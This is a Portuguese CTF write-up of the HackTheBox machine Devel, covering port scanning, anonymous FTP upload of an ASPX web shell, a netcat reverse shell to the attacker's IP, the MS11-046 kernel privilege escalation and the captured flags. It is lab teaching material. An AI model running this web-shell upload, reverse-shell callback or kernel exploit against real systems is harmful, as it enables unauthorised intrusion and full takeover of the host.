> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md).

# Writeup do HackTheBox Devel

Writeup da máquina Easy Windows Devel do HackTheBox cobrindo FTP anônimo, um web shell ASPX, acesso a reverse shell e escalada de privilégios MS11-046.

{% embed url="<https://app.hackthebox.com/machines/Devel>" %}

{% hint style="warning" %}
**Habilidades:**

* Acesso FTP anônimo
* Upload de web shell ASPX
* Elevação de privilégio no kernel MS11-046
  {% endhint %}

## Reconhecimento

### Configuração do ambiente de trabalho

```bash
mkdir Devel
cd !$
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fz4iVahH4VYBfXbpV8eHs%2Fimage.png?alt=media&amp;token=a0ae84a0-2772-45f3-8c0b-915d86d1c057" alt=""><figcaption></figcaption></figure>

### Descoberta de host

Um TTL de 128 indica que o alvo provavelmente está executando Windows.

```bash
ping -c 1 10.129.5.142
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfXtFculfyTC1h4UN9HA9%2Fimage.png?alt=media&amp;token=4af6e93c-5436-4184-8b0d-487b28fd194f" alt=""><figcaption></figcaption></figure>

### Varredura de portas

Execute uma varredura TCP completa para identificar portas abertas:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.142 -oG allPorts
```

As portas 21 e 80 estão abertas.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FL9aMeD30tufPJMkutCoR%2Fimage.png?alt=media&amp;token=f15d4e20-1b15-4712-80cc-6657ab1b8033" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLReN6LQqxDeBnqvUTCDb%2Fimage.png?alt=media&amp;token=de6c1850-fb65-4901-8f72-b62cbc97cc2f" alt=""><figcaption></figcaption></figure>

Execute uma varredura direcionada para identificar os serviços expostos:

```bash
nmap -sCV -p80,21 10.129.5.142 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fmnij8THATjZ8g4ZjxIQn%2Fimage.png?alt=media&amp;token=ffff96b7-0056-4268-b883-d0469fd24cb6" alt=""><figcaption></figcaption></figure>

## Acesso inicial

### Acesso FTP anônimo

O FTP aceita autenticação anônima e faz mapeamento para o servidor web na porta 80.

Liste o diretório do FTP após autenticar:

```bash
ftp anonymous@10.129.5.142
ls
```

O diretório contém `aspnet_client`, `iisstart.htm`, e `welcome.png`. Esses são arquivos padrão da raiz web do IIS.

O servidor web exibe a `welcome.png` imagem padrão.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqJOibaMxPs58pwHfT6W6%2Fimage.png?alt=media&amp;token=fdf8d49e-bd00-4535-b1d3-abac5fe3578c" alt=""><figcaption></figcaption></figure>

Crie um arquivo de teste localmente e faça o upload para verificar as permissões de gravação:

```bash
echo test > test.txt
put test.txt
```

O upload é bem-sucedido. Acessar `http://10.129.5.142/test.txt` confirma que os uploads via FTP são servidos pelo IIS.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FyYBBE2RzFrpPEW7py7bQ%2Fimage.png?alt=media&amp;token=f607ee4a-13a9-498c-b732-3f4c59ebce47" alt=""><figcaption></figcaption></figure>

### web shell ASPX

{% embed url="<https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx>" %}

Baixe a web shell ASPX:

```bash
wget https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx
```

Faça o upload dela via FTP:

```bash
put aspx_cmd.aspx
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FE9ttWludWFC2tkuznGAG%2Fimage.png?alt=media&amp;token=3776dbaf-0a57-479a-8a8e-db5d987ae7b5" alt=""><figcaption></figcaption></figure>

Abrir `http://10.129.5.142/aspx_cmd.aspx` para executar comandos.

A web shell fornece execução remota de comandos:

```bash
whoami

iis apppool\web
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdFKOfuuwj2TPzyodcVbk%2Fimage.png?alt=media&amp;token=40a46aec-a3cd-4c0a-984d-ec62a3e1cdb5" alt=""><figcaption></figcaption></figure>

### Shell reverso

Copiar `nc.exe` para o diretório atual. Este binário cria o shell interativo do Windows:

```bash
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
```

Inicie um servidor SMB para compartilhar o executável:

```bash
sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwaC1kzpy1cpgeD5XVZGM%2Fimage.png?alt=media&amp;token=645c4df5-b8a4-49ce-adca-36edc0d36343" alt=""><figcaption></figcaption></figure>

Inicie um listener na porta 4444:

```bash
sudo rlwrap nc -nvlp 4444
```

Execute estes comandos por meio da web shell. O primeiro comando copia o Netcat do compartilhamento SMB. O segundo se conecta de volta ao listener:

```bash
copy \\10.10.15.2\smbFolder\nc.exe C:\Users\Public\nc.exe
C:\Users\Public\nc.exe -e cmd.exe 10.10.15.2 4444
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fv0OkM4vxZC9YIafJ59ij%2Fimage.png?alt=media&amp;token=60555128-ac81-4ea7-bd7a-2a4c744d830c" alt=""><figcaption></figcaption></figure>

O shell é executado como `iis apppool\web`. Essa conta tem privilégios limitados.

## Escalada de privilégios

### Informações do sistema

```bash
systeminfo
```

Isso revela a versão do Windows e detalhes do sistema.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmJtacSqDEVkpf5IvAYqm%2Fimage.png?alt=media&amp;token=41d0b418-17d5-46ae-bd4a-42960041c6da" alt=""><figcaption></figcaption></figure>

O alvo executa o Windows 7 Enterprise.

### MS11-046

`systeminfo` identifica o Windows 7 Enterprise, compilação `7600`. Esta versão sem patch é candidata a exploits locais de kernel conhecidos.

MS11-046 é uma vulnerabilidade local de elevação de privilégios. Ela precisa de execução de código já existente no host. Ela não explora o SMB remotamente.

Use o exploit de kernel MS11-046:

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

Clone o repositório do exploit:

```bash
git clone https://github.com/SecWiki/windows-kernel-exploits
```

Vá para o diretório do exploit:

```bash
cd windows-kernel-exploits/MS11-046
```

Compartilhe o executável com o alvo via SMB:

```bash
sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFKGLOspF5XXbVzNS0nhu%2Fimage.png?alt=media&amp;token=ed0e4934-9446-4a37-a0b9-4f63a8d7b978" alt=""><figcaption></figcaption></figure>

Copie o executável do shell do Windows para um diretório gravável:

```bash
copy \\10.10.15.2\smbFolder\ms11-046.exe c:\Users\Public\Downloads\ms11-046.exe
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTFuvckB7zhHI6lzyPBiU%2Fimage.png?alt=media&amp;token=1526dd9f-ca48-4372-8029-091686284ad9" alt=""><figcaption></figcaption></figure>

Confirme o usuário atual e, em seguida, execute o exploit:

```bash
whoami

iis apppool\web
```

```bash
.\ms11-046.exe
```

O exploit retorna um `NT AUTHORITY\SYSTEM` shell:

```bash
whoami

nt authority\system
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5wMT6aqI3cn98l3oUXLQ%2Fimage.png?alt=media&amp;token=47d2555d-209e-46ed-8f87-f4f94ff750ff" alt=""><figcaption></figcaption></figure>

## Flags

```bash
type c:\Users\babis\Desktop\user.txt

0efea4c5e140c594ce1ca88594b3d7dc

type c:\Users\Administrator\Desktop\root.txt

3d360ef3c74b5936a51971a8f7383c11
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYohn6XMprPHG4De7A8L7%2Fimage.png?alt=media&amp;token=d6d20faf-f996-41ae-b13c-da2055f3f5ea" alt=""><figcaption></figcaption></figure>


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